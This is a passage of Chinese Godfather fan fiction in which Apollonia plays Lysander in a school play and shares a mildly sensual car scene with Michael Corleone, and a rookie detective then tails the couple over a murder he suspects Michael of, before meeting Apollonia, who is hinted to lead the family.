非常、非常不讲道理,但艾波现在该死地、就是想要吻他、更想咬他。
29.恋爱二三事
*演出*
四月的最后一个星期五,因总统离世而延期小半个月的高中毕业演出终于举行了。
一整个上午,大家上课全都心不在焉。主要演员们嘴里念念有词,默背着台词;配角们也不轻松,兼职灯光音乐与道具,要么不停翻看记录灯光点位的笔记本,要么反复检查布景与服装,生怕出了疏漏。
“纽约时报的钱德勒主编也来了!”编剧兼导演琼恩.休斯兴奋地宣布,“我们会出现在明早的报纸上!”
这下可完了,大家更没有心思在课堂,上午最后一节课的老师也看出底下学生状态不对,班里所有人都收到了大学回复,他索性提前下课放他们去排练。
艾波满不在乎,想着不过是一场小演出,她的角色龙套裁缝只有三句短短的台词,不要太轻松。
然后,墨菲定律起效了。
饰演拉山德的杰弗里.比弗利前几天淋雨感冒,硬撑着上课排练,今天嗓子哑得像含了砂纸,被副校长克劳德夫人勒令去医院。
作为这年代较少的男女混校的女性校长,她手腕强硬,总是说一不二。“打一针青霉素,很快就会好。下午的第一场彩排,先找个人念你的台词,鲍勃?”
“夫人,我是灯光师。”
“好吧,史蒂夫?”
“音响离不开人,夫人。”
……
最终,克劳德夫人找到唯二没有兼幕后工作的配角,艾波和伯纳德.安德森。一个女孩,一个结巴内向。
思索一瞬,她点了其中一位的名:“艾波洛尼亚,劳驾,你来念迪米特律斯的台词。”
再见了,轻松看戏的下午。艾波恹恹地答应。
作为这出喜剧的男主演之一,拉山德的台词是裁缝的好几倍,内容肉麻又狗血,但是,认真读起来,她竟然不讨厌。
“人们的意志是被理性所支配的……凡是生长的东西,不到季节,总不会成熟…”
舞台灯光明亮到刺眼,接在扮演爱人父亲伊及斯的男同学之后,艾波朗读这段拉山德被仙王滴了魔法花汁而移情别恋的台词。
“我的理性也不曾成熟;但是现在我的智慧已经充分成长,理性指挥着我的意志……”
她想,她的智慧一定没有成长到能指挥意志,不然也不会这么幼稚地和迈克尔玩地下情的把戏——
走廊楼梯间的隐秘热吻,好几次脚步声传来,他身体微微一颤想要退开,她往往踮起脚,更用力地吻他,伴随着偷尝禁果般禁忌快乐,直到最后一刻才放开他。
第一场彩排很快结束,陪同比弗利去医院的同学送回一个非常不好的消息。
“杰弗里过敏了!”那同学在电话里说,“肿得像个猪头。”
克劳德夫人拧起眉:“谁给他吃花生了?”
“医生说可能是青霉素药剂里的花生油。”
青霉素缓释配方是为了应对战时医疗人员短缺发明的,配方里含有花生油致使人过敏,这仅是小范围的推论,暂未放到公共层面讨论。
克劳德夫人无言以对,只能安抚比弗利,让他好好休息。挂了电话,她揉揉额角,喊来了艾波。
“艾波洛尼亚,你的历史、英文老师都和我讲过你记忆力很不错,几乎过目不忘。现在,我有件事需要你帮忙。”
“杰弗里无法及时赶回来,需要我顶上?”
“是的,”克劳德夫人安抚道,“不用紧张,你先试一试,如果不行,我再找百老汇的朋友来顶一下。”
既然老师都这么说了,艾波自然全力以赴。
“不要走,温柔的海伦娜!听我解释。我的爱!我的生命,我的灵魂!美丽的海伦娜!”
“滚开!你这矮子!你这发育不全的三寸丁!你这小珠子!你这小青豆!”
“你要是有胆子就赶来吧,我倒要看看美丽的海伦娜属于谁!”
第二场彩排结束,克劳德夫人宣布拉山德由艾波扮演,她以为自己这一决定会受到质疑甚至抗议,却没有料到所有人对此接受良好。
“我早就说你很合适了!”佩吉笑眯眯地替她打领结、戴假发套,“可惜我们演的不是罗朱,不然我甘愿做你的朱丽叶。”
艾波故作油腻地翘唇微笑:“那可太可惜了,我美丽的小姐。”
后面又带妆彩排了一次,时间便来到晚上。距离表演开始还剩十分钟,男孩女孩们躲在幕后悄悄打量观众席。
艾波站在他们身后,视线擦过厚实的天鹅绒帷幕,瞧见观众席整整齐齐的科里昂,原本轻松自在的情绪顿时化作遇水膨胀的压缩饼干,胃开始紧张得发胀。
多半是纽扣人帮忙拿西服时被卡梅拉发现了,人来得很齐——维多.科里昂和卡梅拉.科里昂,桑蒂诺.科里昂和桑德拉.科里昂,汤姆.黑根和特蕾莎.黑根,弗雷德里克.科里昂和康斯坦尼.科里昂,以及……迈克尔.科里昂。
五年前的旧西装略显紧绷,三颗纽扣一丝不苟地扣住,带出几道横向褶皱,里面是一条鲜亮的浅紫领带,静静的丝绸光泽。
家人们在应酬聊天,只有他,神情矜持、正襟危坐,仿佛戏剧系的老学究,即将观看的不是高中生的毕业公演,而是群星汇聚的批判现实主义佳作。
忽然,男人那严肃的面庞一偏,仿佛风呼啦啦翻着水彩画册,莽莽苍苍的森林速写快速消失,露出一张明媚的泉水画作,他的面部线条骤然柔和,眼角、唇畔蔓延出曲线,凝聚成一个灿烂的笑容。
他看见了她。他在对她笑。
心跳有一瞬间暂停。
她飞快退回后台,背靠着脚架,不自觉捂住心口,懊恼自己表现得像个春心萌动的小姑娘。
第一幕戏的侍从匆匆跑过,导演麦尔斯打手势,大幕合拢,灯光暗下,道具组推木板布景上舞台,公爵与女王的扮演者迅速站至点位。
心脏仍然没有恢复正常,扑通扑通地过于热烈,连带着耳朵、双颊乃至整个人都热乎乎的。
“各就各位。”导演小声宣布。
厚实的幕布缓缓拉开,明亮到辉煌的光线倾泻入小小的舞台。艾波踩着时间点迈入观众视野,一想到他坐在底下,那双漆黑地眼睛凝望着她,不讲道理的晕热便不可避免地扩大、进而笼罩全身。
“我的爱情比他深……”
拉山德夸耀着自己的爱,而作为扮演他的人,艾波眼前自然而然浮现台下某人的面庞。在这射灯汇聚的圆形光圈里,莎翁的台词如同一双无形的手,拢出一方境地,她不用在意理性的约束、其他人的看法,只需要肆无忌惮地宣泄情感。毕竟,这是一出爱情喜剧。
演出非常成功,浪涛般的掌声连绵不息,一连谢了三次幕,热情的家属们才罢休。
“艾波!你真的太棒了!”
一下舞台,康妮就地扑过来,身后是科里昂夫妇和两队哥嫂,面带笑意,眼里闪烁骄傲的暖光。
“该死的,艾波,你也太帅了!”弗雷多单手插兜,另一只手伸过来想拍她肩膀,局促一顿,又收回去了。
艾波锤向他的肩关节,笑嘻嘻问:“想学吗?我教你啊。”
弗雷多一个趔趄,捂着肩膀躲到迈克尔身后,嚷道:“那我不如向迈克学,他至少睡到了。”
大庭广众的,这话说得实在不像话,大家长维多警告地咳嗽一声,挽着卡梅拉
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去和纽约时报主编道别,两对哥嫂跟在后面。
艾波不动声色落在后面,挪到迈克尔身边,悄悄伸手,勾上他垂落在身侧的手指。
四月的天气不算炎热,他的手指干燥温热,带着粗糙的茧,她很喜欢摸。
可这人的表情不讨喜,依旧冷着一张脸,只唇角和脸颊的交接地带,出现若有似无的一道弧,这道弧如同水面的涟漪,再度归于平静,快到让人以为是幻觉。
真不知道这家伙又在生什么气。
艾波收回手,往前几步追上康妮:“等下我们坐一辆车回家?”
“好呀。”小姑娘脸颊红扑扑的。
校门口的马路乱轰轰的,车辆人流像是误冲入下水道的大石块,挤得水泄不通,艾波和佩吉、安吉塔她们告别,再回过神,康妮已经被拥到弗雷多身旁,跟着二哥坐上了车,远远投来无奈的眼神。
艾波朝她挥挥手,示意回家见。女孩子和男人的力量就是不一样,怎么没见这人被挤走呢?
纽扣人很快将车停到面前,艾波拉开车门坐进副驾驶座,不想和摆臭脸的人坐一排。
“坐后面,我开车。”他冷静地命令。
纽扣人不明所以,以为有什么特殊情况,配合的下车坐进后座。
车辆缓缓发动,蜗牛般前进。男人像堵塞下水道那块又臭又硬的石头,一声不吭地开车。
“你不喜欢看话剧可以不来。”艾波直视挡风玻璃,冷淡地说。
车停下了。
迈克尔掏出皮夹,数出一叠钞票,转身递给后座的纽扣人,“皮亚罗,实在不好意思,麻烦你打车或者走路回家吧,多出来的钱算我的补偿。”
那叠钱够一个月的津贴了,纽扣人自然没有不答应的,利落地关门下车。
车辆再次启动,却在下一个路口拐进了小巷。
“怎么,你打算绑架”我吗?
后两个字被他吞进嘴里。
舌尖顺着她的话语探入,贪婪地扫过她的唇齿,不放过一丝空隙,连呼吸都被他掠夺殆尽,仿佛她是什么上瘾的能填报肚子乃至灵魂的食物。
脑后抵着冷硬的车窗,艾波被他挤在车门,一面承受这足以称得上穷凶极恶的吻,一面勾上他的脖颈,手指插入他的发丝,半是安抚半是挑逗地抚摸他。
他的躯体滚烫得灼人,嘴唇水润、微微喘息着后撤,结实的臂膀撑着车窗,圈出一处布满他气息的窄小空间。他望着她,漆黑的眼倒映着巷外的流光溢彩,静谧与狂热同时存在于那片黑里。
“我的心和你的心连结在一起,已经打成一片,分不开来;两个心胸彼此用盟誓连系,共有着一片忠贞。”一字一句的,嗓音低沉,配合古英语的音节,如同陈旧的咒语。这是初入魔法森林,拉山德对爱人赫米娜说的话。
笑容在脸上绽放,艾波勾着他的脖子吧唧亲他的嘴,“但是好朋友,为了爱情和礼貌的缘故,请睡得远一些。”
她的摸上他的领带,轻轻往外扯开。他呢,重新低头覆上来,一口一口地含吻她的颈项,撑在她身侧的双臂下移,急迫地解彼此的西装裤腰带。
她仰头任他吻着,温热湿润的细吻让她浑身颤抖,口中继续说着赫米娜的台词:“在人间的礼法上,这样的分隔对于束身自好的未婚男女,”
吧嗒一声,皮带扣解开。
短暂地停滞,她抽着气接上出后半句台词:“是最为合适的。”
她似闭微闭的眼,流散的霓虹灯映着细腻白皙的皮肤,如同经久不息的幻海,靡丽的欲望流淌。几多痴恋,他喟叹着吻上她微湿的额角:“直到生命的尽头…”
*沙滩*
30.菜鸟警察
每个警局都会有个招人烦的菜鸟,大多升任警探不久,读过几部侦探小说,雄心勃勃地发誓要把天底下所有罪犯送进监狱。32分局也不例外。
科克.弗格森怒气冲冲地走进办公区域,一屁股坐到自己的工位,崭新的木椅背往后一弹,顶住了一百四十多磅重的冲击。
“怎么?案子没有解决吗?”隔着一条过道的查克探员问。他身量不高,中等个子,据说有十六分之一的印第安血统,分局十位探员里,他格外热心肠。
“我倒希望没有解决!”科克坐直身体,喋喋不休地抱怨,“尸检结果出来了,就是普通的猝死。死者是数学系的副教授,纽曼.怀特,四十二岁,未婚、新泽西人,研究的方向是…代数几何,说是用数字来解释立方体之类的东西。住在圣约翰大教堂后面那条街,每天骑车上班,只抽美国烟,不喝酒更不赌博。这样一个人,竟然猝死?”
“他有吃一些特殊的药物吗?”另一名警探梅洛问。
“没有,”科克回答,“这就是我觉得奇怪的地方,我问了他的房东和助理,他身体向来不错,每周徒步,一年到头也不感冒。”
“这倒有些奇怪,”查克摸摸下巴,“不过,人体是非常复杂的东西,就像钢铁,反而硬的脆性大容易断,也许这位怀特先生也是这样。”
这样的解释显然无法说服年轻的探员,他斩钉截铁地反驳:“不,恰恰相反,我认为存在凶手。那个人一定脑袋灵活,学识渊博,并且性格谨慎仔细。”
威尔探员单手抱着卷宗路过,冷冷捧场:“太棒了,你把嫌疑范围缩小到了整个哥伦比亚大学。”
科克像是没有听出话里嘲讽,一拍大腿,“是了!威尔你说得太对了!事实上我已经把嫌疑犯缩小到两个人身上——”
他拉开办公桌侧面第二格抽屉,从一堆文件底下抽出薄薄一张纸,“约瑟夫.布鲁姆和迈克尔.科里昂。”
查克探员拿起那张淡黄色的信纸,默读着上面的内容,一旁的年轻人双手搭尖,大声介绍:“约瑟夫.布鲁姆,合成化学系研究生,他的妻子曾是怀特教授唯一的女性助理,这些年他一直在散播怀特教授品行不端的言论。”
威尔把卷宗往办公桌一放,探身瞧同事手上两人的履历信息,沉吟道:“能搞到毒药,又和死者有个人恩怨,确实有一定嫌疑。另外一个呢?海军陆战队、中尉、紫心勋章,又是同事,不会因为一些嫌隙就杀人吧。”
“因为这不是私人恩怨,”科克得意地昂起头,“我问过数学系的秘书,怀特教授死后,副教授的位置空缺,这位迈克尔.科里昂是最有力竞争者。我见过这人,排队等带问话时,他总在看手表,绝对在掩盖什么。我问他死者身亡那晚他在做这么,这人犹豫了一瞬,才说在给妻子挑选礼物,可我让他提供百货公司的凭证,他又拿不出来。”
“而且——”他拖长声音,“你们难道没觉得这姓氏熟悉吗?他是科里昂!曾经的黑手党家族科里昂!大名鼎鼎的科里昂!他哥哥是桑蒂诺.科里昂。”
听到这里,几位年长的探员笑了。梅洛说:“这位科里昂可不是黑手党,布朗克斯最混乱街区的意大利小混混都知道,这家伙被驱逐出了家族,半点生意都沾不到嘴。”
“为什么?”
警督背着手走进来:“你们在干什么,这么空吗?弗格森警探,你的结案文书尽快交上来。”
“可是”
“没有可是,法医给出了详细的尸检报告,校方与报案人也并无疑惑议。别浪费时间。”
挨了教育的科克悻悻坐回工位。其余警探们作鸟兽散,在警监锐利的目光下,审阅卷宗地审阅卷宗、抄写文书地抄写文书、整理枪具地整理枪具,办公区域又恢复往日的忙碌。
忙到下班,手头没有案子的老鸟们准时收拾东西回家,一边下楼梯一边聊着晚餐与妻子的厨艺。科克放下磨蹭一下午都没写完的结案文书,追上他们,问出那个没有得到答案的问题。
威尔探员冷漠地说:“因为他管不住自己的□□,睡了自己的妹妹。别说传统的意大利佬了,我听了都觉得恶心。”
他们的身后,清洁工提着两大兜垃圾袋往下走,不透光的垃圾袋里,写有某个名字的纸张被揉成一团,沾满泥泞腥臭的液体。
*
星期三晚间五点,百老汇街与120街交汇处。
“不可能有意大利裔能摆脱家庭的影响,”科克.弗格森手肘搁在方向盘,心里想,“哪怕迈克尔.科里昂真的被逐出家族,他的行为习惯、思维方式也一定带有黑手党色彩。”
车头斜对着的建筑正是哥大理学院所在教学楼。夕阳涂抹在灰色墙面,底下那扇玻璃门映射着行人与车辆,每隔几分钟,那门上的风景便会偏转,走出几位西装革履、文质彬彬的学者。
他打听过,这一学期数学系都没有晚课,目标人物每天都准时下班。首次监视,他尽量准备充分,不止带了咖啡、香烟驱赶睡意,毯子半夜小憩,副驾驶的脚边还放着好几个玻璃瓶,方便在车上解决小号。
“更别说意裔向来重视家庭,哪怕他父亲认为他为家族蒙羞,他的兄弟们也会私下接济的。”刚想到这里,双面玻璃门的一侧再度偏转,镜子像般的门后走出一位青年,身量比一般意大利血统的人高,走路姿势很普通的挺拔,乍眼看去一点儿都不像当过兵的人。
青年穿过马路,来到一辆对数学教授来说过于高调浮夸的轿车旁,摸出钥匙坐入驾驶座,没过几秒,这辆香槟车身、咖色车顶的道奇便汇入夕阳中的车流。
科克不急不缓地发动车辆跟了上去。
迈克尔.科里昂的年纪三十岁整,在同龄人里算作的前列,但在总资产至少上千万美金的家族里,他的成就没有那么显眼了。
他最大的那位兄长,桑蒂诺.科里昂,成立了全美首家的安全保卫公司,科克就读警察学校的不少老师和学长都被挖去了这家公司,据说薪资优渥,比市政开支的警察工资高至少两倍。
小一些的哥哥,弗雷多里克.科里昂在维加斯、亚特兰大合法经营赌博业,有好几家赌场酒店,据说他的酒店帮助各地处理黑金,赚的钱是他大哥的好几倍。
他们的小妹妹,康斯坦妮.科里昂这两年频频出现在热门电影的片头,隐隐成为好莱坞第一位女性金牌制作人的架势。
“只要这三人任何一位出现在迈克尔.科里昂家,都可以证明他并没有脱离家族。”科克自言自语,“警察不能超越权限,但只要够耐心,总能蹲到他露出马脚。”
即便这将牺牲他个人休息时间也再所不辞。
两辆汽车一前一后驶过曼哈顿大桥,穿过皇后区,抵达布鲁克林的联排别墅区。科克的旧福特停在一棵细瘦的槭树下,与那辆漂亮的道奇隔了三十米的距离。
目标人物下车,刚合上车门准备锁车,车正对着的那幢屋子的大门便向内打开,露出一位任何地方、任何人见了都会夸一句的□□,深色的长发由一根东西松散地挽在脑后,肌肤白得牛奶,脸颊晕着淡淡的粉红,她笑意盈盈地走下门廊的石头台阶,
作丈夫的呢,完全丢失学者的从容儒雅,连车都顾不上锁,绕过车头揽上她的腰,边搂着她往屋里走、边把头凑过去吻她的脸颊和小手。那份急切,不像是对妻子,倒更像对情人。
大门在目标任务身后合拢。
接着,两道人影出现在蒙有米色纱帘的窗户后面,属于女人的纤细身影率先坐下,低着头,似乎在翻看报纸;另一道更为高大的身影迟迟未出现,科克耐心地蹲守,偶尔喝水,不漏过一丝一毫的情况。
终于,半小时之后,男人的影子重新出现,手里似乎端着食物,把两只手上的东西放到桌面,他弯下腰,伸出手触碰坐着那道人影,强壮与柔美,两条深色的影子合成一团舒展的墨点。
所以,迈克尔.科里昂回家还要给妻子做饭?
科克感到疑惑。纵观他的父母、同事乃至国会山里的大人物,没有一个已婚男士会在忙碌一天后回家做晚饭。这是很明显的道理,如果妻子无法给他们提供晚餐、以及相应的舒适生活,那男人为什么要结婚呢?
显然,迈克尔.科里昂结婚并不是为了生活上的享受。科克一连监视了两周,越是侦查越使他感到迷茫。难道这世界上真的存在这样的爱情,像是额前叶切割手术,完美地切掉男人的好斗、攀比与野心?
这位黑手党家族出身的青年学者所有的业余活动竟然都围绕着他的妻子。
每天早晨,两夫妻踩着朝阳出门跑步,重点是三英里外海滨步道,返程途中在早餐店用餐、逛逛农产品集市,最后手牵手回家。
傍晚,迈克尔.科里昂总会推掉一切邀约,径直赶回家做饭。每隔两天,他还会拖一次地。
到了周末,这位数学教授也不出门,就蹲在家里。有一回,科克大着胆子从后院往里望,视线穿过绿篱,瞧见他抱着她坐在清凉的门廊底下,共坐一张藤椅;女人捧着书在读,他的手不老实,揉得她胸口的连衣裙起皱,被狠狠掐了一下,疼得直龇牙,就这样,他还搂着她不放手。
诚然,科克承认,这位艾波洛尼亚.科里昂确实很美,他甚至认为如果康斯坦妮愿意拉拨嫂子,这女人在好莱坞取得的成就将不亚于现在那些女明星。但是,无论如何,男人都该有自己的事业与理想吧?
经过这一段时间的跟踪,科克.弗格森基本确认迈克尔.科里昂与那壮谋杀案并无关联了,毕竟他宁可把时间花在陪女人逛市场买菜,也不愿意多开一门早课,为自己积攒一些声望。
他决定最后蹲一晚,然后彻底和这件事说再见。除了上市那一点,他的身体也吃不消了,整夜整夜的蹲点、车上睡觉腿伸不直,让他白天精力涣散,新入手的案件迟迟没有进展。
然而,事情恰巧在这一晚发生转机。
起初,警探照例在路口等待迈克尔.科里昂出来,一般在五点零八分走出玻璃门,偶尔提前,从未延迟。可这天,直到五颜六色的灯光弥漫深蓝色的夜空、理学院的教学楼窗户灯光次第熄灭,目标人物依然没有出来。
出于警察的本能,科克飞快下车,向门卫出示警徽,快速奔进教学楼。进了楼内,他放轻了脚步,贴着墙往上走。遵循之前问话的记忆来到数学系所在楼层,深邃的走廊如同怪物的嘴巴,通向不可名状的黑暗。往里面走的时候,隐隐传来交谈声。
“迈克尔,您怎么还不回家?”是一个中年男声。
男人无奈的语气:“今晚我要睡在这里了。”
另一个更为年轻的声音问:“为什么?您和妻子吵架了吗?”
听到这句话科
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克的心下意识悬起,不知在紧张什么。
好在男人很快否定了,“唔…我太太今晚在家开派对,我不方便出席。”
“女人啊,就爱玩这些东西,喝茶、看电影、办读书会。”中年人说,“不过你也不用这样让这她,给她们留一处客厅就是了。”
“差不多是这类,”迈克尔.科里昂苦恼地说,“有些人会哭、有些人会开心,我实在应付不来这种场面。”
“这倒是,女人一多就是麻烦。我老婆的姐妹来我家暂住的时候,她们能把房顶给掀开。而且女人长期在一起,生理期都会一致,那种荷尔蒙激素引发的歇斯底里,简直比原子弹还可怕。”
年轻男人好奇:“光读书看电影就会这样吗?“
”当然不是,这只是表象,“他们往外走,中年男人的声音越来越近,”她们的想象力更丰富,什么事情都会联想到自己身上,看到电影里男主角朝漂亮姑娘笑一笑,她们就会疑心丈夫在外是否也这样,然后话题发散,可能就开始抱怨丈夫了。这时候啊,我们能躲多远就得躲多远,迈克尔的选择是对,嘿!科克警官!晚上好!”
科克.弗格森被撞个正着,没办法只好硬着头皮迎上去,假笑着打招呼:“晚上好,先生们,怀特先生猝死的事让我很是担心,想着来回访一二,避免再次发生这样的惨案。”
胡乱编造的理由站不住脚,但好歹糊弄了过去,科克跟着教授和助理下楼,即将拐到下一层楼时,他向上望了一眼,迈克尔.科里昂也在看他,也许是高高在上的角度,他的眼神看起来格外冷漠,仿佛在看一串冰冷的数字。
*
驱车缓缓驶入来到布鲁克林的联排别墅区,距离一条马路,科克看到了大致情形。那幢屋子整个用砖石头所建,精美的大理石雕花门楣与露台,古典华丽的设计,看起来既舒适又气派。
此刻,往日宁静的三层别墅变得灯火通明,门前停满了凯迪拉克等高档轿车,十几位年轻男人在马路的各个位置抽烟望风。
如此严密的把守,警探的到来当然没有逃过主人家的眼睛。刚刚停好车,那头就有人来敲车窗,科克暗自懊悔不该这么贸然行动,一面摇下车窗,一面悄悄伸进腰间,握住手枪柄。
“喂,我们赫尔墨斯说,如果你想要等,可以等到开会结束,她和你谈一谈。不过她建议你早些回去休息,养精蓄锐,明天中午十二点,她会来你们分局不远处的斯通小饭馆找你。”那男人笑着说,“反正她也跑不了。”
科克.弗格森最终选择了离开。第二天准时赴了约。
进去时,她已经在了,身穿深蓝色的圆领连衣裙,衬得皮肤愈加白皙。她微笑着让他坐下:“想吃些什么?我请客。”
科克愣了几秒才报出常吃的菜式。她点点头,将菜单递回给服务员,和对方聊了几句天,她们似乎很熟悉。
他还注意到,她的手指和脸颊上的皮肤一样白得透亮,纤细修长,让他回忆起她被亲吻的模样,可仔细看,指尖虎口指关节都有不同程度的茧,有些是来自笔,有些则来自……枪。这个发现让他的心情不由承重了几分。
“科克.弗格森对吗?”这是她对他说的第一句话,目光既没有少女的羞涩,也没有妇女的放肆,“我知道您对我丈夫存在怀疑,认为他杀了纽曼.怀特。”
她话说得直接而果决,反倒吓得探员左右看了一眼。
“警探,你不用害怕。正如我丈夫是清白的一样,我也相信你跟踪他的行为全然出于职业道德与公心。”她认真说,那双眼睛专注地看过来的时候极富冲击力,类似于警监的目光,但更有力量。
科克忍住退缩的欲望,鼓起勇气迎上她的视线,断言道:“科里昂太太,我并不认为自己做错了。你就是黑手党。”
她微微一笑:“请叫我艾波或者艾波拉。”
他硬邦邦地回:“我不认为我们的关系好到能直呼其名。女士。”
却不知道哪里逗到了她,噗呲笑了一声,整张脸孔生动起来,眼里仿佛充满着柔和的波光,让人想起春日阳光照射的海面。
“弗格森探员,”重新开口,她脸上仍有方才笑容的残迹,引得人想要细瞧,“我的丈夫是科里昂家族的幺子,从小离经叛道不服他父亲管教。我十岁和他认识,我们算作一起长大,他厌恶家族生意,为了脱离他父亲的掌控,他在41年前往太平洋,47年毕业回纽约,拒绝了一切家族安排,甚至连他父亲最后的让步——进入法学院将来成为一名政客——都没有接受。”
“所以作为补偿,你取代了他的位置。”
这话又让她笑起来,边摇头叹息边说:“弗格森探员,您太天真了。权力从来不是伸手就能勾到的,更何况我是女人。这句话应该换一换。”
“你……取代了他的位置?那补偿呢?你给谁补偿了?”科克陷入思考,等菜上了一口一口囫囵吃着,愣是想不出思路,像是陷入逻辑悖论的机器人。
一顿饭吃得味同嚼蜡,科克猜不透她的意图,临上班之前,在分局楼下,他最后问道:“你是黑手党,为什么不直接杀掉我?”
她真的很喜欢笑,而且笑得既无忌惮。很美。
“弗格森探员,睁大眼睛,看看你的周围。”她狡黠的眨眼睛,眨得人心跳都暂停了,“必要时问问你的同事前辈们。”